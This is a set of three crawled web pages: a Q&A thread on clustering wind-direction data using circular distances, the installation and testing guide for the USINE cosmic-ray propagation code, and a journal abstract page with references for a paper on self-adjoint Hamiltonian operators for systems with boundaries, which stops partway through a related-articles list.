Cluster wind direction anyone can help me about how to cluster wind direction? i want to cluster wind in degrees 1-360 so i convert to x and y in cartesian just like this ... is it okay ?? i measure (d), it is a distance between point (0,0) to poitn at circle any suggestion?? • Do you have a dataset you're trying to cluster? It's not clear what you're actually asking here – shadowtalker Sep 5 '16 at 5:01 • Clustering wind direction strikes me as unphysical for most stations. The exceptions would be where local conditions promote strong bimodality, e.g anabatic and katabatic winds, onshore and offshore winds. – Nick Cox Sep 5 '16 at 8:35 Use hierarchical clustering, and the difference in angle modulo 360. i.e. dist(a,b) = min(abs(a-b),abs(a-(360-b)),abs((360-a)-b)) If you want to use Cartesian coordinates, center at 0, i.e. use x, y = sin(a), cos(a) Why would you use a circle that is not centered at 0? • Please check my edits preserve your meaning. – Nick Cox Sep 5 '16 at 8:33 • i have no idea about how to clouster wind direction, i have 30 years dataset in 425 grids, so make just like the picture, i measure a distance (d) which measure the distance between point (0,0) to the circle, the circle represent represent wind direction in 1-360 degrees, what do you think? im sorry i just newbie in clustering @NickCox – Novi Fitrianti Sep 7 '16 at 4:49
2021-01-17 00:47:22
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5098126530647278, "perplexity": 2033.9851766762706}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703507971.27/warc/CC-MAIN-20210116225820-20210117015820-00754.warc.gz"}
https://dmaurin.gitlab.io/USINE/install.html
# 2. Installation and tests¶ ## 2.1. Mandatory packages¶ ROOT/CERN package (requires $$\geq 6.00$$) The easiest way, if available, is to install directly all relevant ROOT packages (using apt-get, dnf, or brew, etc.); do not forget the development (-devel) packages and specific ROOT libraries (MathMore, Minuit2). Alternatively, you may want to compile locally ROOT. To do so, download a version and follows the configuration/compilation instructions to build ROOT. In addition, in the latter case: Please define (e.g., in your *~/.bashrc*) the ROOT environment variables export ROOTSYS= path_to_local_installation export ROOTLIBS=$ROOTSYS/lib export PATH=$PATH:$ROOTSYS/bin export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ROOTSYS/lib export DYLD_LIBRARY_PATH=$DYLD_LIBRARY_PATH:$ROOTSYS/lib [Mac OS only] export MANPATH=$MANPATH:$ROOTSYS/man Note For Mac OSX, we recommend to install ROOT via homebrew. To define the environment variable ROOTSYS, you need to source, e.g., in your configuration file ~/.bashrc, thisroot.sh/thisroot.csh. To know where it is, type, e.g. for ROOT 6, brew info root6. ## 2.2. USINE download/install¶ 1. Clone from git repository: > git clone https://gitlab.com/dmaurin/USINE.git or see the GitLab repository for alternative download forms. Once USINE is cloned, you can always choose a specific version (e.g. git checkout tags/V3.4), but we recommend that you always use the latest (which is the one cloned). 2. The compilation relies on cmake (file CmakeLists.txt): > cd USINE > mkdir build; cd build; cmake ../ (to have build files in separate directory) > make -jN [using N=2, 3,… cores] 3. Define the USINE environment variables (e.g., in your ~/.bashrc): export USINE= absolute_path_to_local_installation export PATH=$PATH:"$USINE/bin" export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$USINE/lib export DYLD_LIBRARY_PATH=$DYLD_LIBRARY_PATH:$USINE/lib # [Mac OS only] Note Do not forget to > source ~/.bashrc to ensure that the environment variables are set in your current xterm ($echo $USINE should point to the directory where you installed USINE). Note This version was successfully installed and tested on: • Ubuntu 17.10 (gcc 7.2.0) • MacOS X High Sierra 10.13.4 (clang-900.0.39.2) • Fedora 25 (gcc 6.4.1) ## 2.3. Tests in USINE¶ Testing is one of the most important step of code development, to ensure that • the production version (i.e. user compiled version) behaves as expected, • modifications of the code by developers do not break any functionality. Is my installation successful? To ensure that USINE is ready to use, type > cd$USINE > ./bin/usine -tUSINE If all tests pass, then you are good to go (jump to Tutorial: ./bin/usine)! If not, check that some tests are indeed performed (i.e. there is some chatter when you run the test), and then: (i) if no chatter, it probably has to do with your installation (missing environment variable, missing ROOT package…); (ii) if you are told that some checks failed, it may be related to your machine architecture/compiler, so contact the USINE developers (send your .fail test files) who will evaluate the severity of the problem. Note On Mac OS systems, we observe that the last digit differs from the one in the reference file ((in many test files). This is likely due to the different architecture of systems but you can still consider that the tests passed! What tests are performed? The realm of testing is large. The tests implemented in USINE are a mixture of unit tests and integration tests. We also performed static and dynamic code analysis. Unit tests from usine -tRef command line: Unit tests are narrow in scope and allow to check that pieces of code are doing what they are intended to. To build unit tests, each USINE class and namespace (see Inside USINE (c++)) contains a TEST() method calling all other methods (strictly speaking, these are not unit tests). Its output is validated during the code development and saved in a reference test file ($USINE/usine.test/). New installations and/or code modifications are checked by comparing the new output against the reference (using kdiff). Note that these tests can also be useful to see how the various methods are called and what they do. Integration tests from usine -tRef command line: The purpose of integration tests is to demonstrate that different pieces of the system work together. The system here is the list of USINE classes performing Galactic propagation. USINE integration tests cover all run options. Analogous to the implementation of unit tests, the expected output of propagation runs are stored in reference files ($USINE/usine.test/) and compared against the output of modified code versions. These tests encompass outputs of propagated flux calculation for all USINE models, minimisation runs, etc. Note Git repositories usually come with Continuous Integration (CI) tools. We may rely on CI for the code in the future (the code documentation already does, to ensure recompilation for any edit). Static and dynamic code analysis: The difference between the two analyses is that one does not need to run the code, while the other does. USINE was analysed with the static analysis tool cppcheck . We also used valgrind to perform dynamic analyses, in particular to track and fix memory leaks (run with $ROOTSYS/etc/valgrind-root.supp to track and hide false positive in ROOT!). Profiling and optimisation: So far, we have not used any profiler to check which pieces of code should deserve extra scrutiny for speed. This will be examined for the second release. ## 2.4. USINE files and directories¶ • Files in $USINE/ CmakeLists.txt File used by cmake for compilation FindROOT.cmake Called by CmakeLists.txt to find path to ROOT installation README.md README file (for gitlab website) • Directories in $USINE/ doc/ This documentation, see (Re)generate the doc usine.MACROS/ Example of ROOT macros with USINE usine.tests/ Reference test files, see Tests in USINE include/TU*.h src/TU*.cc USINE header and source files, see Inside USINE (c++) FunctionParser/ Third-party library to handle generic formulae in USINE inputs/ atomic_* crcharts_* crdata_* init.*.par qi_* src_abund* XS_*/ For more details, see USINE input files Atomic properties (e.g., FIP, K-ion shell…) Nuclear charts for propagated CRs CR data (energy, flux/ratio, uncertainties…) Initialisation file (for transport, sources, ISM…) Generated/used for 2D model (Bessel coeff.) Solar System isotopic and elemental) abundances Cross sections for (anti-)nuclei and leptons …and created at compilation time bin/usine USINE executable, see Tutorial: ./bin/usine lib/lib* USINE and function parser libraries ## 2.5. (Re)generate the doc¶ General documentation: The documentation you are reading is built with Sphinx (and readthedoc theme). If you wish to generate it locally, install the relevant python packages, and type > cd$USINE/doc > make html > firefox _build/html/index.html You can create also a pdf (or ps) document with the commands > cd $USINE/doc > make latex > cd _build/latex > make all-pdf > evince _build/latex/usine.pdf Doxygen documentation: The code documentation can be generated based on the Doxygen package and a configuration file (Doxyfile) provided. Just type > cd$USINE > doxygen doc//DoxyStyle/Doxyfile > firefox doc/doxygen/doxygen/index.html
2020-06-05 03:04:11
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5458242893218994, "perplexity": 5011.823864302278}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-24/segments/1590348492427.71/warc/CC-MAIN-20200605014501-20200605044501-00045.warc.gz"}
https://aimsciences.org/article/doi/10.3934/cpaa.2011.10.1687
# American Institute of Mathematical Sciences November  2011, 10(6): 1687-1706. doi: 10.3934/cpaa.2011.10.1687 ## Self-adjoint, globally defined Hamiltonian operators for systems with boundaries 1 Universidade Lusófona de Humanidades e Tecnologias, Av. Campo Grande 376, 1749-024 Lisboa, Portugal, Portugal 2 Dipartimento di Scienze Fisiche e Matematiche, Università dell'Insubria, via valleggio 11, I-22100 Como, Italy Received  March 2010 Revised  February 2011 Published  May 2011 For a general self-adjoint Hamiltonian operator $H_0$ on the Hilbert space $L^2(R^d)$, we determine the set of all self-adjoint Hamiltonians $H$ on $L^2(R^d)$ that dynamically confine the system to an open set $\Omega \subset \RE^d$ while reproducing the action of $H_0$ on an appropriate operator domain. In the case $H_0=-\Delta +V$ we construct these Hamiltonians explicitly showing that they can be written in the form $H=H_0+ B$, where $B$ is a singular boundary potential and $H$ is self-adjoint on its maximal domain. An application to the deformation quantization of one-dimensional systems with boundaries is also presented. Citation: Nuno Costa Dias, Andrea Posilicano, João Nuno Prata. Self-adjoint, globally defined Hamiltonian operators for systems with boundaries. Communications on Pure & Applied Analysis, 2011, 10 (6) : 1687-1706. doi: 10.3934/cpaa.2011.10.1687 ##### References: [1] N. Akhiezer and I. Glazman, "Theory of Linear Operators in Hilbert Space,", Pitman, (1981). Google Scholar [2] S. Albeverio, F. Gesztesy, R. Högh-Krohn and H. Holden, "Solvable Models in Quantum Mechanics,", 2$^{nd}$ edition, (2005). Google Scholar [3] G. A. Baker, Formulation of quantum mechanics based on the quasi-probability distribution induced on phase space,, Phys. Rev., 109 (1958), 2198. Google Scholar [4] F. Bayen, M. Flato, C. Fronsdal, A. Lichnerowicz and D. F. Sternheimer, Deformation theory and quantization, I and II,, Ann. Phys., 111 (1978), 61. Google Scholar [5] F. A. Berezin and L. D. Fadeev, Remark on the Schröinger equation with singular potential,, Dokl. Akad. Nauk. SSSR, 137 (1961), 1011. Google Scholar [6] J. Behrndt and M. Langer, Boundary value problems for elliptic partial differential operators on bounded domains,, J. Funct. Anal., 243 (2007), 536. Google Scholar [7] M. S. Birman and M. Z. Solomjak, "Spectral Theory of Self-Adjoint Operators in Hilbert Spaces,", Reidel, (1987). Google Scholar [8] Ph. Blanchard, R. Figari and A. Mantile, Point interaction Hamiltonians in bounded domains,, J. Math. Phys., 48 (2007). Google Scholar [9] J. Blank, P. Exner and M. Havlíček, "Hilbert Space Operators in Quantum Physics,'', 2$^{nd}$ edition, (2008). Google Scholar [10] G. Bonneau, J. Faraut and G. Valent, Self-adjoint extensions of operators and the teaching of quantum mechanics,, Am. J. Phys., 69 (2001), 322. Google Scholar [11] A. Bracken, G. Cassinelli and J. Wood, Quantum symmetries and the Weyl-Wigner product of group representations,, preprint, (). Google Scholar [12] B. M. Brown, M. Marletta, S. Naboko and I. G. Wood, Boundary triplets and M-functions for non-selfadjoint operators, with applications to elliptic PDEs and block operator matrices,, J. Lond. Math. Soc., 77 (2008), 700. Google Scholar [13] B. M. Brown, G. Grubb and I. G. Wood, M-functions for closed extensions of adjoint pairs of operators with applications to elliptic boundary problems,, Math. Nachr., 282 (2009), 314. Google Scholar [14] C. Cacciapuoti, R. Carlone and R. Figari, Spin dependent point potentials in one and three dimensions,, J. Phys. A: Math. Gen., 40 (2007), 249. Google Scholar [15] J. W. Calkin, Abstract symmetric boundary conditions,, Trans. Am. Math. Soc., 45 (1939), 369. Google Scholar [16] A. Connes, "Noncommutative Geometry,", Academic Press, (1994). Google Scholar [17] C. R. de Oliveira, "Intermediate Spectral Theory and Quantum Dynamics,", Birkh\, (2009). Google Scholar [18] N. C. Dias and J. N. Prata, Wigner functions with boundaries,, J. Math. Phys., 43 (2002), 4602. Google Scholar [19] N. C. Dias, A. Posilicano and J. N. Prata, in, in preparation., (). Google Scholar [20] N. C. Dias and J. N. Prata, Admissible states in quantum phase space,, Ann. Phys., 313 (2004), 110. Google Scholar [21] N. C. Dias and J. N. Prata, Comment on "On infinite walls in deformation quantization",, Ann. Phys., 321 (2006), 495. Google Scholar [22] D. Dubin, M. Hennings and T. Smith, "Mathematical Aspects of Weyl Quantization,", World Scientific, (2000). Google Scholar [23] W. Faris, "Self-Adjoint Operators,", Lecture Notes in Mathematics {\bf 433}, 433 (1975). Google Scholar [24] D. Fairlie, The formulation of quantum mechanics in terms of phase space functions,, Proc. Camb. Phil. Soc., 60 (1964), 581. Google Scholar [25] B. Fedosov, A simple geometric construction of deformation quantization,, J. Diff. Geom., 40 (1994), 213. Google Scholar [26] R. Gambini and R. A. Porto, Relational time in generally covariant quantum systems: four models,, Phys. Rev., D 63 (2001). Google Scholar [27] P. Garbaczewski and W. Karwowski, Impenetrable barriers and canonical quantization,, Am. J. Phys., 72 (2004), 924. Google Scholar [28] F. Gesztesy and M. Mitrea, Robin-to-Robin maps and Krein-type resolvent formulas for Schrödinger operators on bounded Lipschitz domains, in "Modern Analysis and Applications. The Mark Krein Centenary Conference. Vol. 2: Differential Operators and Mechanics'', (eds. V. Adamyan et al.), (2009), 81. Google Scholar [29] F. Gesztesy and M. Mitrea, Generalized Robin boundary conditions, Robin-to-Dirichlet maps, and Krein-type resolvent formulas for Schrödinger operators on bounded Lipschitz domains,, in, 79 (2008), 105. Google Scholar [30] V. I. Gorbachuk and M. L. Gorbachuk, "Boundary Value Problems for Operator Differential Equations,", Kluver, (1991). Google Scholar [31] M. de Gosson and F. Luef, A new approach to the $\star$-genvalue equation,, Lett. Math. Phys., 85 (2008), 173. Google Scholar [32] G. Grubb, A characterization of the non local boundary value problems associated with an elliptic operator,, Ann. Scuola Norm. Sup. Pisa Cl. Sci., 22 (1968), 425. Google Scholar [33] G. Grubb, Krein resolvent formulas for elliptic boundary problems in nonsmooth domains,, Rend. Sem. Mat. Univ. Pol. Torino, 66 (2008), 271. Google Scholar [34] C. Isham, Topological and global aspects of quantum theory,, in, (1984), 1059. Google Scholar [35] M. Kontsevich, Deformation quantization of Poisson manifolds I,, Lett. Math. Phys., 66 (2003), 157. Google Scholar [36] M. G. Kre\u\i n, The theory of self-adjoint extensions of half-bounded Hermitean operators and their applications I,, Mat. Sbornik N.S., 20 (1947), 431. Google Scholar [37] M. G. Kreĭn, The theory of self-adjoint extensions of half-bounded Hermitean operators and their applications II,, Mat. Sbornik N.S., 21 (1947), 365. Google Scholar [38] K. Kowalski, K. Podlaski and J. Rembieliński, Quantum mechanics of a free particle on a plane with an extracted point,, Phys. Rev. A, 66 (2002), 032118. Google Scholar [39] S. Kryukov and M. A. Walton, On infinite walls in deformation quantization,, Ann. Phys., 317 (2005), 474. Google Scholar [40] J. L. Lions and E. Magenes, Problèmes aux limites non homogènes II,, Ann. Institut Fourier, 11 (1961), 137. Google Scholar [41] J. L. Lions and E. Magenes, "Non-Homogeneous Boundary Value Problems and Applications I,", Springer-Verlag, (1972). Google Scholar [42] J. Madore, "An Introduction to Noncommutative Differential Geometry and its Physical Applications,", 2$^{nd}$ edition, (2000). Google Scholar [43] M. A. Naimark, "Theory of Linear Differential Operators,", Frederick Ungar Publishing Co., (1967). Google Scholar [44] J. von Neumann, Allgemeine eigenwerttheorie Hermitscher funktionaloperatoren,, Math. Ann., 102 (1929), 49. Google Scholar [45] J. von Neumann, "Mathematische Grundlagen der Quantenmechanik,", Springer-Verlag, (1932). Google Scholar [46] A. Pinzul and A. Stern, Absence of the holographic principle in noncommutative Chern-Simons theory,, J. High Energy Phys., 0111 (2001). Google Scholar [47] A. Posilicano, A Krein-like formula for singular perturbations of self-adjoint operators and applications,, J. Funct. Anal., 183 (2001), 109. Google Scholar [48] A. Posilicano, Self-adjoint extensions by additive perturbations,, Ann. Scuola Norm. Sup. Pisa Cl. Sci., 2 (2003), 1. Google Scholar [49] A. Posilicano, Self-adjoint extensions of restrictions,, Oper. Matrices, 2 (2008), 483. Google Scholar [50] A. Posilicano and L. Raimondi, Krein's resolvent formula for self-adjoint extensions of symmetric second order elliptic differential operators,, J. Phys. A: Math. Theor., 42 (2009). Google Scholar [51] M. Reed and B. Simon, "Methods of Modern Mathematical Physics. Vol. II: Fourier Analysis, Self-Adjointness,", Academic Press, (1975). Google Scholar [52] V. Ryzhov, A general boundary value problem and its Weyl function,, Opuscula Math., 27 (2007), 305. Google Scholar [53] N. Seiberg and E. Witten, String theory and noncommutative geometry,, J. High Energy Phys., 9909 (1999). Google Scholar [54] M. L. Višik, On general boundary problems for elliptic differential equations,, Trudy Mosc. Mat. Obsv., 1 (1952), 186. Google Scholar [55] B. Voronov, D. Gitman and I. Tyutin, Self-adjoint differential operators associated with self-adjoint differential expressions,, preprint, (). Google Scholar [56] J. Weidmann, "Linear Operators in Hilbert Spaces,", Springer-Verlag, (1980). Google Scholar [57] M. A. Walton, Wigner functions, contact interactions, and matching,, Ann. Phys., 322 (2007), 2233. Google Scholar [58] M. W. Wong, "Weyl Transforms,", Springer-Verlag, (1998). Google Scholar show all references ##### References: [1] N. Akhiezer and I. Glazman, "Theory of Linear Operators in Hilbert Space,", Pitman, (1981). Google Scholar [2] S. Albeverio, F. Gesztesy, R. Högh-Krohn and H. Holden, "Solvable Models in Quantum Mechanics,", 2$^{nd}$ edition, (2005). Google Scholar [3] G. A. Baker, Formulation of quantum mechanics based on the quasi-probability distribution induced on phase space,, Phys. Rev., 109 (1958), 2198. Google Scholar [4] F. Bayen, M. Flato, C. Fronsdal, A. Lichnerowicz and D. F. Sternheimer, Deformation theory and quantization, I and II,, Ann. Phys., 111 (1978), 61. Google Scholar [5] F. A. Berezin and L. D. Fadeev, Remark on the Schröinger equation with singular potential,, Dokl. Akad. Nauk. SSSR, 137 (1961), 1011. Google Scholar [6] J. Behrndt and M. Langer, Boundary value problems for elliptic partial differential operators on bounded domains,, J. Funct. Anal., 243 (2007), 536. Google Scholar [7] M. S. Birman and M. Z. Solomjak, "Spectral Theory of Self-Adjoint Operators in Hilbert Spaces,", Reidel, (1987). Google Scholar [8] Ph. Blanchard, R. Figari and A. Mantile, Point interaction Hamiltonians in bounded domains,, J. Math. Phys., 48 (2007). Google Scholar [9] J. Blank, P. Exner and M. Havlíček, "Hilbert Space Operators in Quantum Physics,'', 2$^{nd}$ edition, (2008). Google Scholar [10] G. Bonneau, J. Faraut and G. Valent, Self-adjoint extensions of operators and the teaching of quantum mechanics,, Am. J. Phys., 69 (2001), 322. Google Scholar [11] A. Bracken, G. Cassinelli and J. Wood, Quantum symmetries and the Weyl-Wigner product of group representations,, preprint, (). Google Scholar [12] B. M. Brown, M. Marletta, S. Naboko and I. G. Wood, Boundary triplets and M-functions for non-selfadjoint operators, with applications to elliptic PDEs and block operator matrices,, J. Lond. Math. Soc., 77 (2008), 700. Google Scholar [13] B. M. Brown, G. Grubb and I. G. Wood, M-functions for closed extensions of adjoint pairs of operators with applications to elliptic boundary problems,, Math. Nachr., 282 (2009), 314. Google Scholar [14] C. Cacciapuoti, R. Carlone and R. Figari, Spin dependent point potentials in one and three dimensions,, J. Phys. A: Math. Gen., 40 (2007), 249. Google Scholar [15] J. W. Calkin, Abstract symmetric boundary conditions,, Trans. Am. Math. Soc., 45 (1939), 369. Google Scholar [16] A. Connes, "Noncommutative Geometry,", Academic Press, (1994). Google Scholar [17] C. R. de Oliveira, "Intermediate Spectral Theory and Quantum Dynamics,", Birkh\, (2009). Google Scholar [18] N. C. Dias and J. N. Prata, Wigner functions with boundaries,, J. Math. Phys., 43 (2002), 4602. Google Scholar [19] N. C. Dias, A. Posilicano and J. N. Prata, in, in preparation., (). Google Scholar [20] N. C. Dias and J. N. Prata, Admissible states in quantum phase space,, Ann. Phys., 313 (2004), 110. Google Scholar [21] N. C. Dias and J. N. Prata, Comment on "On infinite walls in deformation quantization",, Ann. Phys., 321 (2006), 495. Google Scholar [22] D. Dubin, M. Hennings and T. Smith, "Mathematical Aspects of Weyl Quantization,", World Scientific, (2000). Google Scholar [23] W. Faris, "Self-Adjoint Operators,", Lecture Notes in Mathematics {\bf 433}, 433 (1975). Google Scholar [24] D. Fairlie, The formulation of quantum mechanics in terms of phase space functions,, Proc. Camb. Phil. Soc., 60 (1964), 581. Google Scholar [25] B. Fedosov, A simple geometric construction of deformation quantization,, J. Diff. Geom., 40 (1994), 213. Google Scholar [26] R. Gambini and R. A. Porto, Relational time in generally covariant quantum systems: four models,, Phys. Rev., D 63 (2001). Google Scholar [27] P. Garbaczewski and W. Karwowski, Impenetrable barriers and canonical quantization,, Am. J. Phys., 72 (2004), 924. Google Scholar [28] F. Gesztesy and M. Mitrea, Robin-to-Robin maps and Krein-type resolvent formulas for Schrödinger operators on bounded Lipschitz domains, in "Modern Analysis and Applications. The Mark Krein Centenary Conference. Vol. 2: Differential Operators and Mechanics'', (eds. V. Adamyan et al.), (2009), 81. Google Scholar [29] F. Gesztesy and M. Mitrea, Generalized Robin boundary conditions, Robin-to-Dirichlet maps, and Krein-type resolvent formulas for Schrödinger operators on bounded Lipschitz domains,, in, 79 (2008), 105. Google Scholar [30] V. I. Gorbachuk and M. L. Gorbachuk, "Boundary Value Problems for Operator Differential Equations,", Kluver, (1991). Google Scholar [31] M. de Gosson and F. Luef, A new approach to the $\star$-genvalue equation,, Lett. Math. Phys., 85 (2008), 173. Google Scholar [32] G. Grubb, A characterization of the non local boundary value problems associated with an elliptic operator,, Ann. Scuola Norm. Sup. Pisa Cl. Sci., 22 (1968), 425. Google Scholar [33] G. Grubb, Krein resolvent formulas for elliptic boundary problems in nonsmooth domains,, Rend. Sem. Mat. Univ. Pol. Torino, 66 (2008), 271. Google Scholar [34] C. Isham, Topological and global aspects of quantum theory,, in, (1984), 1059. Google Scholar [35] M. Kontsevich, Deformation quantization of Poisson manifolds I,, Lett. Math. Phys., 66 (2003), 157. Google Scholar [36] M. G. Kre\u\i n, The theory of self-adjoint extensions of half-bounded Hermitean operators and their applications I,, Mat. Sbornik N.S., 20 (1947), 431. Google Scholar [37] M. G. Kreĭn, The theory of self-adjoint extensions of half-bounded Hermitean operators and their applications II,, Mat. Sbornik N.S., 21 (1947), 365. Google Scholar [38] K. Kowalski, K. Podlaski and J. Rembieliński, Quantum mechanics of a free particle on a plane with an extracted point,, Phys. Rev. A, 66 (2002), 032118. Google Scholar [39] S. Kryukov and M. A. Walton, On infinite walls in deformation quantization,, Ann. Phys., 317 (2005), 474. Google Scholar [40] J. L. Lions and E. Magenes, Problèmes aux limites non homogènes II,, Ann. Institut Fourier, 11 (1961), 137. Google Scholar [41] J. L. Lions and E. Magenes, "Non-Homogeneous Boundary Value Problems and Applications I,", Springer-Verlag, (1972). Google Scholar [42] J. Madore, "An Introduction to Noncommutative Differential Geometry and its Physical Applications,", 2$^{nd}$ edition, (2000). Google Scholar [43] M. A. Naimark, "Theory of Linear Differential Operators,", Frederick Ungar Publishing Co., (1967). Google Scholar [44] J. von Neumann, Allgemeine eigenwerttheorie Hermitscher funktionaloperatoren,, Math. Ann., 102 (1929), 49. Google Scholar [45] J. von Neumann, "Mathematische Grundlagen der Quantenmechanik,", Springer-Verlag, (1932). Google Scholar [46] A. Pinzul and A. Stern, Absence of the holographic principle in noncommutative Chern-Simons theory,, J. High Energy Phys., 0111 (2001). Google Scholar [47] A. Posilicano, A Krein-like formula for singular perturbations of self-adjoint operators and applications,, J. Funct. Anal., 183 (2001), 109. Google Scholar [48] A. Posilicano, Self-adjoint extensions by additive perturbations,, Ann. Scuola Norm. Sup. Pisa Cl. Sci., 2 (2003), 1. Google Scholar [49] A. Posilicano, Self-adjoint extensions of restrictions,, Oper. Matrices, 2 (2008), 483. Google Scholar [50] A. Posilicano and L. Raimondi, Krein's resolvent formula for self-adjoint extensions of symmetric second order elliptic differential operators,, J. Phys. A: Math. Theor., 42 (2009). Google Scholar [51] M. Reed and B. Simon, "Methods of Modern Mathematical Physics. Vol. II: Fourier Analysis, Self-Adjointness,", Academic Press, (1975). Google Scholar [52] V. Ryzhov, A general boundary value problem and its Weyl function,, Opuscula Math., 27 (2007), 305. Google Scholar [53] N. Seiberg and E. Witten, String theory and noncommutative geometry,, J. High Energy Phys., 9909 (1999). Google Scholar [54] M. L. Višik, On general boundary problems for elliptic differential equations,, Trudy Mosc. Mat. Obsv., 1 (1952), 186. Google Scholar [55] B. Voronov, D. Gitman and I. Tyutin, Self-adjoint differential operators associated with self-adjoint differential expressions,, preprint, (). Google Scholar [56] J. Weidmann, "Linear Operators in Hilbert Spaces,", Springer-Verlag, (1980). Google Scholar [57] M. A. Walton, Wigner functions, contact interactions, and matching,, Ann. Phys., 322 (2007), 2233. Google Scholar [58] M. W. Wong, "Weyl Transforms,", Springer-Verlag, (1998). Google Scholar [1] Erik Kropat, Silja Meyer-Nieberg, Gerhard-Wilhelm Weber. Computational networks and systems-homogenization of self-adjoint differential operators in variational form on periodic networks and micro-architectured systems. Numerical Algebra, Control & Optimization, 2017, 7 (2) : 139-169. doi: 10.3934/naco.2017010 [2] Abdallah El Hamidi, Aziz Hamdouni, Marwan Saleh. On eigenelements sensitivity for compact self-adjoint operators and applications. Discrete & Continuous Dynamical Systems - S, 2016, 9 (2) : 445-455. doi: 10.3934/dcdss.2016006 [3] Dachun Yang, Sibei Yang. Maximal function characterizations of Musielak-Orlicz-Hardy spaces associated to non-negative self-adjoint operators satisfying Gaussian estimates. Communications on Pure & Applied Analysis, 2016, 15 (6) : 2135-2160. doi: 10.3934/cpaa.2016031 [4] Wen Deng. Resolvent estimates for a two-dimensional non-self-adjoint operator. Communications on Pure & Applied Analysis, 2013, 12 (1) : 547-596. doi: 10.3934/cpaa.2013.12.547 [5] José M. Arrieta, Simone M. Bruschi. Very rapidly varying boundaries in equations with nonlinear boundary conditions. The case of a non uniformly Lipschitz deformation. Discrete & Continuous Dynamical Systems - B, 2010, 14 (2) : 327-351. doi: 10.3934/dcdsb.2010.14.327 [6] Setsuro Fujiié, Jens Wittsten. Quantization conditions of eigenvalues for semiclassical Zakharov-Shabat systems on the circle. Discrete & Continuous Dynamical Systems - A, 2018, 38 (8) : 3851-3873. doi: 10.3934/dcds.2018167 [7] Sebastián Donoso, Wenbo Sun. Dynamical cubes and a criteria for systems having product extensions. Journal of Modern Dynamics, 2015, 9: 365-405. doi: 10.3934/jmd.2015.9.365 [8] David Bourne, Howard Elman, John E. Osborn. A Non-Self-Adjoint Quadratic Eigenvalue Problem Describing a Fluid-Solid Interaction Part II: Analysis of Convergence. Communications on Pure & Applied Analysis, 2009, 8 (1) : 143-160. doi: 10.3934/cpaa.2009.8.143 [9] Ruikuan Liu, Tian Ma, Shouhong Wang, Jiayan Yang. Thermodynamical potentials of classical and quantum systems. Discrete & Continuous Dynamical Systems - B, 2019, 24 (4) : 1411-1448. doi: 10.3934/dcdsb.2018214 [10] Sébastien Court. Stabilization of a fluid-solid system, by the deformation of the self-propelled solid. Part II: The nonlinear system.. Evolution Equations & Control Theory, 2014, 3 (1) : 83-118. doi: 10.3934/eect.2014.3.83 [11] Sébastien Court. Stabilization of a fluid-solid system, by the deformation of the self-propelled solid. Part I: The linearized system.. Evolution Equations & Control Theory, 2014, 3 (1) : 59-82. doi: 10.3934/eect.2014.3.59 [12] Krzysztof Fujarewicz, Marek Kimmel, Andrzej Swierniak. On Fitting Of Mathematical Models Of Cell Signaling Pathways Using Adjoint Systems. Mathematical Biosciences & Engineering, 2005, 2 (3) : 527-534. doi: 10.3934/mbe.2005.2.527 [13] Ian Melbourne, V. Niţicâ, Andrei Török. A note about stable transitivity of noncompact extensions of hyperbolic systems. Discrete & Continuous Dynamical Systems - A, 2006, 14 (2) : 355-363. doi: 10.3934/dcds.2006.14.355 [14] Stuart S. Antman, David Bourne. A Non-Self-Adjoint Quadratic Eigenvalue Problem Describing a Fluid-Solid Interaction Part I: Formulation, Analysis, and Computations. Communications on Pure & Applied Analysis, 2009, 8 (1) : 123-142. doi: 10.3934/cpaa.2009.8.123 [15] Silviu-Iulian Niculescu, Peter S. Kim, Keqin Gu, Peter P. Lee, Doron Levy. Stability crossing boundaries of delay systems modeling immune dynamics in leukemia. Discrete & Continuous Dynamical Systems - B, 2010, 13 (1) : 129-156. doi: 10.3934/dcdsb.2010.13.129 [16] Roberto Alicandro, Andrea Braides, Marco Cicalese. Phase and anti-phase boundaries in binary discrete systems: a variational viewpoint. Networks & Heterogeneous Media, 2006, 1 (1) : 85-107. doi: 10.3934/nhm.2006.1.85 [17] Roberta Bosi. Classical limit for linear and nonlinear quantum Fokker-Planck systems. Communications on Pure & Applied Analysis, 2009, 8 (3) : 845-870. doi: 10.3934/cpaa.2009.8.845 [18] Viorel Niţică. Stable transitivity for extensions of hyperbolic systems by semidirect products of compact and nilpotent Lie groups. Discrete & Continuous Dynamical Systems - A, 2011, 29 (3) : 1197-1204. doi: 10.3934/dcds.2011.29.1197 [19] Ian Melbourne, Dalia Terhesiu. Mixing properties for toral extensions of slowly mixing dynamical systems with finite and infinite measure. Journal of Modern Dynamics, 2018, 12: 285-313. doi: 10.3934/jmd.2018011 [20] Gong Chen, Peter J. Olver. Numerical simulation of nonlinear dispersive quantization. Discrete & Continuous Dynamical Systems - A, 